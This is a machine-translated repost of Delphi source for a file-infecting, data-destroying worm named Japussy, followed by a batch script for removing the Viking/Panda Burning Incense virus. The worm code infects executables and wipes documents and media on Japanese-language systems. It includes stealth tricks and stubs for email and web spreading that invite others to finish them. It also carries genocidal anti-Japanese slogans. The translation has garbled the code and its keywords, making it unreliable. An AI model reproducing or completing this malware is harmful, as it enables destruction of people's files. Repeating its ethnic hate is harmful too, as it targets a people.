使用
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry}。
常數
HeaderSize = 82432//病毒體的大小
icon offset = $ 12eb 8;//PE文件主圖標的偏移量
//在我的Delphi5 SP1上編譯的大小在其他版本的Delphi中可能會有所不同。
//找到十六進制字符串2800000020,找到主圖標的偏移量。
{
header size = 38912;//Upx壓縮的病毒體的大小
IconOffset = $ 92BC//Upx壓縮的PE文件主圖標的偏移量。
//Upx 1.24W用法:Upx-9-8086 Japussy.exe。
}
IconSize = $ 2E8//PE文件主圖標大小-744字節
icon tail = icon offset+IconSize;//PE文件主圖標的尾部
ID = $ 44444444//感染標記
//寫垃圾代碼。
如果壹個種族需要被消滅,那壹定是大和民族。'''''''''''''''' +
如果壹個國家需要被摧毀,那壹定是日本!'''''''''''''''' +
' ' ' ' ' ' ' ' ' ' ' ' ' ' *** W32。Japussy . Worm.A * * *
{$R *。RES}
函數RegisterServiceProcess(dwProcessID,dw type:Integer):Integer;
stdcall外部' ' ' ' ' ' ' ' ' ' ' ' ' kernel 32 . dll ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ';//函數聲明
定義變量
TmpFile:string;
si:startup info;
Pi:進程_信息;
IsJap:Boolean = False;//日文操作系統標簽
{判斷是不是Win9x}
函數is win9x:Boolean;
定義變量
ver:TOSVersionInfo;
開始
結果:=假;
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
如果不是GetVersionEx(Ver ),則
退出;
if(ver . dwplatformid = VER _平臺_WIN32_WINDOWS)那麽//Win9x
結果:=真;
結束;
{在流之間復制}
過程copy stream(Src:TStream;sStartPos:整數;dst:TStream;
dStartPos:整數;計數:整數);
定義變量
sCurPos,dCurPos:整數;
開始
sCurPos := Src。位置;
dCurPos := Dst。位置;
Src。Seek(sStartPos,0);
夏令時。Seek(dStartPos,0);
夏令時。CopyFrom(Src,Count);
Src。Seek(sCurPos,0);
夏令時。Seek(dCurPos,0);
結束;
{將主機文件與受感染的PE文件分開使用}
過程ExtractFile(文件名:字符串);
定義變量
sStream,dStream:TFileStream;
開始
嘗試
sStream := TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);
嘗試
dStream := TFileStream。創建(文件名,fmCreate);
嘗試
流。Seek(HeaderSize,0);//跳過頭的病毒部分
dStream。CopyFrom(sStream,sStream。size-header size);
最後
dStream。免費;
結束;
最後
流。免費;
結束;
除...之外
結束;
結束;
{填充STARTUPINFO結構}
過程FillStartupInfo(var Si:startup info;狀態:Word);
開始
Si . CB:= SizeOf(Si);
si . LP reserved:= nil;
si . lpdesktop:= nil;
si . LP title:= nil;
si . dw flags:= STARTF _ USESHOWWINDOW;
si . wshowindow:= State;
si . CB reserved 2:= 0;
si . lpreserved 2:= nil;
結束;
{發送有毒郵件}
過程SendMail
開始
//誰願意完成它?
結束;
{受感染的PE文件}
過程InfectOneFile(文件名:字符串);
定義變量
HdrStream,SrcStream:TFileStream;
IcoStream,dst stream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
Infected,IsPE:Boolean;
I:整數;
Buf: array[0..1]的Char
開始
Try //錯誤,文件正在使用中,退出。
If comparetext(文件名,' ' ' ' ' ' ' ' ' ' ' japussy。exe ' ' ' ' ' ' ' ' ' ')= 0然後//如果妳是自己,就不會被感染。
退出;
已感染:=假;
IsPE:= False;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
嘗試
對於i := 0到$108,請檢查PE文件頭。
開始
SrcStream。Seek(我,sofrombinging);
SrcStream。Read(Buf,2);
If (buf [0] = # 80)和(buf [1] = # 69)那麽//PE標簽
開始
IsPE:= True;//是壹個PE文件。
打破;
結束;
結束;
SrcStream。Seek(-4,soFromEnd);//檢查感染標記
SrcStream。改為(iID,4);
if (iID = ID)或(SrcStream。大小& lt10240)那麽//太小的文件就不會被感染。
已感染:= True
最後
SrcStream。免費;
結束;
如果被感染或(非IsPE)則//如果被感染或未被PE文件退出。
退出;
IcoStream := TMemoryStream。創建;
DstStream := TMemoryStream。創建;
嘗試
aIcon := TIcon。創建;
嘗試
//獲取被感染文件的主圖標(744字節)並存儲在流中。
愛康。釋放句柄;
愛康。Handle := ExtractIcon(HInstance,PChar(FileName),0);
愛康。SaveToStream(IcoStream);
最後
愛康。免費;
結束;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
//頭文件
HdrStream := TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);
嘗試
//在病毒體主圖標前寫數據。
CopyStream(HdrStream,0,DstStream,0,icon offset);
//寫當前程序的主圖標。
CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);
//將病毒體主圖標的數據寫入病毒體尾部。
CopyStream(HdrStream,IconTail,DstStream,IconTail,header size-icon tail);
//寫入宿主程序
CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream。尺寸);
//寫入受感染標誌
DstStream。Seek(0,2);
iID:= $ 4444444;
DstStream。Write(iID,4);
最後
HdrStream。免費;
結束;
最後
SrcStream。免費;
IcoStream。免費;
DstStream。SaveToFile(文件名);//替換宿主文件
DstStream。免費;
結束;
除外;
結束;
結束;
{將目標文件寫入垃圾郵件後將其刪除}
過程SmashFile(文件名:字符串);
定義變量
FileHandle:整數;
I,Size,Mass,Max,Len:整數;
開始
嘗試
setfile attributes(PChar(FileName),0);//移除只讀屬性
FileHandle := FileOpen(文件名,fmOpenWrite);//打開文件
嘗試
Size := GetFileSize(FileHandle,nil);//文件大小
I:= 0;
隨機化;
max:= Random(15);//寫垃圾代碼的隨機次數
如果Max & lt那就5
max:= 5;
mass:= Size div Max;//每個間隔塊的大小
Len := Length(流行語);
而我& lt馬克斯·多
開始
FileSeek(FileHandle,i * Mass,0);//定位
//寫垃圾代碼徹底銷毀文件。
FileWrite(FileHandle,Catchword,Len);
Inc(壹);
結束;
最後
file close(file handle);//關閉文件
結束;
DeleteFile(PChar(文件名));//刪除它
除...之外
結束;
結束;
{獲取可寫驅動器列表}
函數get drives:string;
定義變量
disk type:Word;
d:Char;
Str:字符串;
I:整數;
開始
對於i := 0到25,do //遍歷26個字母。
開始
d:= Chr(I+65);
str:= D+“”“”“”“”:\“”“”“”“””“””;
disk type:= get drive type(PChar(Str));
//獲取本地磁盤和網絡磁盤。
如果(DiskType = DRIVE_FIXED)或(DiskType = DRIVE_REMOTE)則
結果:=結果+D;
結束;
結束;
{遍歷目錄,感染和破壞文件}
過程LoopFiles(路徑,掩碼:字符串);
定義變量
I,計數:整數;
Fn,Ext:string;
SubDir:t strings;
search rec:TSearchRec;
msg:TMsg;
function is validir(search rec:TSearchRec):Integer;
開始
if (SearchRec。Attr & lt& gt16)和(SearchRec。名稱& lt& gt''''''''''''''''.'''''''''''''')和
(SearchRec。名稱& lt& gt''''''''''''''''..'''''''''''''')然後
結果:= 0 //不是目錄。
else if (SearchRec。Attr = 16)和(SearchRec。名稱& lt& gt''''''''''''''''.'''''''''''''')和
(SearchRec。名稱& lt& gt''''''''''''''''..'''''''''''''')然後
結果:= 1 //不是根目錄。
else結果:= 2;//是根目錄。
結束;
開始
if (FindFirst(Path + Mask,faAnyFile,SearchRec) = 0)然後
開始
重復
PeekMessage(Msg,0,0,0,PM _ REMOVE);//調整消息隊列以避免懷疑。
如果IsValidDir(SearchRec) = 0,則
開始
Fn := Path + SearchRec。姓名;
Ext :=大寫(ExtractFileExt(Fn));
if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。EXE ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。SCR ' ' ' ' ' '然後
開始
感染文件(Fn);//受感染的可執行文件
結束
else if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。HTM ' ' ' ' ' ' ' ' ' ' ' '或(外部= ' ' ' ' ' ' ' ' ' ' ' ' ' '。HTML ' ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。ASP ' ' ' ' ' '然後
開始
//感染HTML和ASP文件,將Base64編碼的病毒寫入。
//感染所有瀏覽此網頁的用戶。
//哪位大佬願意完成?
結束
否則,如果ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。WAB ' ' ' ' ' ' ' '然後//Outlook通訊簿文件。
開始
//獲取Outlook電子郵件地址
結束
否則,如果ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。ADC ' ' ' ' ' '然後//foxmail地址自動完成文件。
開始
//獲取Foxmail電子郵件地址
結束
否則,如果ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' IND ' ' ' ' ' ' ' ' ' ' '則//foxmail地址簿文件。
開始
//獲取Foxmail電子郵件地址
結束
其他
開始
如果是IsJap那麽//就是日本的操作系統。
開始
if (Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。DOC ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。XLS ' ' ' ' ' ' ' ' ' ' ' '或(外部= ' ' ' ' ' ' ' ' ' ' ' ' ' '。MDB ' ' ' ' ' ' ' ' ' ' ' ')或
(Ext =“”“”“”“”“”. MP3”“”“”“””或(Ext =“”“”“”“”RM ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。RA ' ' ' ' ' ' ' ' ' ' ' ')或
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。WMA ' ' ' ' ' ' ' ' ' ' ' '或(外部= ' ' ' ' ' ' ' ' ' ' ' ' ' '。ZIP ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。RAR ' ' ' ' ' ' ' ' ' ' ' ')或
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。MPEG ' ' ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。ASF ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。JPG ' ' ' ' ' ' ' ' ' ' ' ')或
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。JPEG ' ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。GIF ' ' ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。SWF ' ' ' ' ' ' ' ' ' ' ' ')或
(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' '。PDF ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。CHM ' ' ' ' ' ' ' ' ' ' ' '或(Ext = ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '。AVI ' ' ' ' ' '然後
smash file(Fn);//銷毀文件
結束;
結束;
結束;
//感染或刪除文件後休眠200毫秒,避免CPU使用率高引起的懷疑。
睡眠(200);
直到(FindNext(search rec)& lt;& gt0);
結束;
FindClose(search rec);
SubDir := TStringList。創建;
if(FindFirst(Path+' ' ' ' ' ' ' ' ' ' ' ' ' ' *。* ' ' ' ' ' ' ' ' ' ',faDirectory,SearchRec) = 0)然後
開始
重復
如果IsValidDir(SearchRec) = 1,則
SubDir。添加(SearchRec。姓名);
直到(FindNext(search rec)& lt;& gt0);
結束;
FindClose(search rec);
Count := SubDir。count-1;
對於i := 0來計數do
循環文件(路徑+子目錄。字符串+' ' ' ' ' ' ' ' ' ' ' ' \ ' ' ' ' ' ' ' ' ' ',掩碼);
FreeAndNil(SubDir);
結束;
{遍歷磁盤上的所有文件}
過程感染文件;
定義變量
driver list:string;
I,Len:整數;
開始
如果GetACP = 932,則//日本操作系統
IsJap:= True;//去死吧!
driver list:= get drives;//獲取可寫磁盤列表
len:= Length(driver list);
While True do //無限循環
開始
For i := Len downto 1 do //遍歷每個磁盤驅動器。
loop files(driver list+“”“”“”“”:\“”“”“”“”“”“”“”“”“”“*”*'''''''''''''''');//被感染
SendMail//發送有毒郵件
睡眠(1000 * 60 * 5);//睡眠5分鐘
結束;
結束;
{主程序開始}
開始
如果是Win9x那麽//就是Win9x。
RegisterServiceProcess(getCurrentProcessID,1)//註冊為服務進程。
else //WinNT
開始
//遠程線程映射到資源管理器進程。
//哪位兄弟願意完成?
結束;
//如果是原病毒體本身
如果compare text(extract filename(ParamStr(0)),' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' Japussy.exe'''''''''''''''') = 0,則
感染文件//感染和電子郵件
Else //已經寄生在宿主程序上,開始工作了。
開始
TmpFile:= ParamStr(0);//創建壹個臨時文件
Delete(TmpFile,Length(TmpFile) - 4,4);
TmpFile := TmpFile + #32 +' ' ' ' ' ' ' ' ' ' ' '。exe//真正的主機文件,多壹個空格。
extract file(TmpFile);//分開它
FillStartupInfo(Si,SW _ show default);
CreateProcess(PChar(TmpFile),PChar(TmpFile),nil,nil,True,
0,零,' ' ' ' ' ' ' ' ' ' ' ' ' '。'''''''''''''',Si,Pi);//創建要運行的新進程。
InfectFiles//感染和電子郵件
結束;
結束。
請註明轉發它的朋友www.honkercn.net的來源。
以下是批量清除衛津和熊貓燒香病毒的流程。
@關閉回聲
標題清除衛津最新變種的工具(logo_1,熊貓燒香)
@echo工具,用於刪除VIKING病毒的最新變種
中止
Ifexist% windir% \ rundl132。exe echo-報告老板,有維京病毒埋伏!讓我殺了它-
Ifexist% windir% \ logo _ 1。exe echo-向老板報告有維京病毒埋伏!讓我殺了它-
//終止viking進程
tskill logo_1
tskill rundl132
茨基爾zt
茨基爾哇
tskill logo1_
茨基爾·拉夫蒙
茨基爾埃格霍斯特
茨基爾·梅爾蒙
茨基爾KAVPFW
茨基爾·伊帕莫爾
茨基爾·拉夫蒙德
taskkill/f/im 0sy.exe
taskkill /f /im 1sy.exe
taskkill/f/im 2sy.exe
taskkill/f/im 3sy.exe
taskkill/f/im 4sy.exe
taskkill/f/im 5sy.exe
taskkill/f/im 6sy.exe
taskkill/f/im 7sy.exe
taskkill/f/im 8sy.exe
taskkill/f/im 9sy.exe
//刪除木馬
del d:\_desktop.ini /f/s/q/a
del c:\ Program Files \ _ desktop . ini
del % Windir % \ mic know \ mic know . dll
del %Windir%\MH_FILE\MH_DLL.dll
del %Windir%\_desktop.ini
del % Windir % \ today ztking \ today ztking。動態鏈接庫
attrib -h -r -s c:\go.exe
del c:\go.exe
del c:\setup.exe
attrib -h -s -r c:\autorun.inf
del c:\autorun.inf
attrib -h -r -s d:\go.exe
del d:\go.exe
del d:\setup.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
attrib -h -r -s e:\go.exe
del e:\go.exe
attrib -h -s -r e:\autorun.inf
del e:\autorun.inf
attrib -h -r -s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib -h -s -r f:\autorun.inf
del f:\autorun.inf
attrib -h -r -s g:\go.exe
del g:\go.exe
del g:\setup.exe
attrib -h -s -r g:\autorun.inf
del g:\autorun.inf
del h:\go.exe
del h:\setup.exe
attrib -h -s -r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib -h -s -r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\go.exe
attrib -h -s -r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del % windir % \ system \ logo 1 _。exedel % windir % \ system \ Logo _ 1 . exe
del %windir%\rundl132.exe
del %windir%\vDll.dll
del %windir%\Dll.dll
del %windir%\0Sy.exe
del %windir%\1Sy.exe
del %windir%\2Sy.exe
del %windir%\3Sy.exe
del %windir%\5Sy.exe
del %windir%\1.com
@ echo _向老板報告維京已經全部被處決。
@echo真的很累。再次給妳的系統免疫。如果不需要,請直接退出。
中止
//免疫系統
echo & gt%windir%\Logo1_。可執行程序的擴展名
echo & gt%windir%\rundl132.exe
echo & gt%windir%\0Sy.exe
echo & gt%windir%\vDll.dll
echo & gt%windir%\1Sy.exe
echo & gt%windir%\2Sy.exe
echo & gt%windir%\rundll32.exe
echo & gt%windir%\3Sy.exe
echo & gt%windir%\5Sy.exe
echo & gt%windir%\1.com
echo & gt%windir%\exerouter.exe
echo & gt%windir%\EXP10RER.com
echo & gt%windir%\finders.com
echo & gt%windir%\Shell.sys
echo & gt%windir%\kill.exe
echo & gt%windir%\sws.dll
echo & gt%windir%\sws32.dll
echo & gt% windir % \ uninstall \ rundl 132 . exe
echo & gt%windir%\SVCHOST.exe
echo & gt%windir%\WINLOGON.exe
echo & gt%windir%\RUNDLL32。可執行程序的擴展名
echo & gtC:\ "程序文件" \svchost.exe
echo & gtC:\ "程序文件" Internet Explorer " \ svchost.exe
echo & gt%windir%\Download\svchost.exe
echo & gt%windir%\system32\wldll.dll
attrib %windir%\Logo1_。exe +s +r +h
attrib % windir % \ rundl 132 . exe+s+r+h
attrib %windir%\0Sy.exe +s +r +h
attrib %windir%\vDll.dll +s +r +h
attrib % windir % \ 1sy . exe+s+r+h
attrib %windir%\2Sy.exe +s +r +h
attrib % windir % \ rundll32 . exe+s+r+h
attrib %windir%\3Sy.exe +s +r +h
attrib %windir%\5Sy.exe +s +r +h
attrib % windir % \ 1 . com+s+r+h
attrib % windir % \ exe router . exe+s+r+h
attrib % windir % \ exp 10 rer . com+s+r+h
attrib % windir % \ finders . com+s+r+h
attrib %windir%\Shell.sys +s +r +h
attrib %windir%\kill.exe +s +r +h
attrib %windir%\sws.dll +s +r +h
attrib %windir%\sws32.dll +s +r +h
attrib % windir % \ uninstall \ rundl 132 . exe+s+r+h
attrib % windir % \ svchost . exe+s+r+h
attrib % windir % \ winlogon . exe+s+r+h
attrib %windir%\RUNDLL32。EXE +s +r +h
attrib C:\ "程序文件" \svchost.exe +s +r +h
attrib C:\ "程序文件" \ Internet Explorer " \ svchost . exe+s+r+h
attrib % windir % \ Download \ svchost . exe+s+r+h
attrib % windir % \ system32 \ wldll . dll+s+r+h
凈份額c美元/del
凈份額d美元/德爾
凈份額e美元/德爾
凈份額f美元/del
凈份額管理費用/del
凈份額ipc$ /del
cls
@echo -
@echo維京已經被我打死了。哈,是不是很神奇?
@echo系統已成功免疫!
@echo謝謝使用,請重啟電腦!
@echo -
中止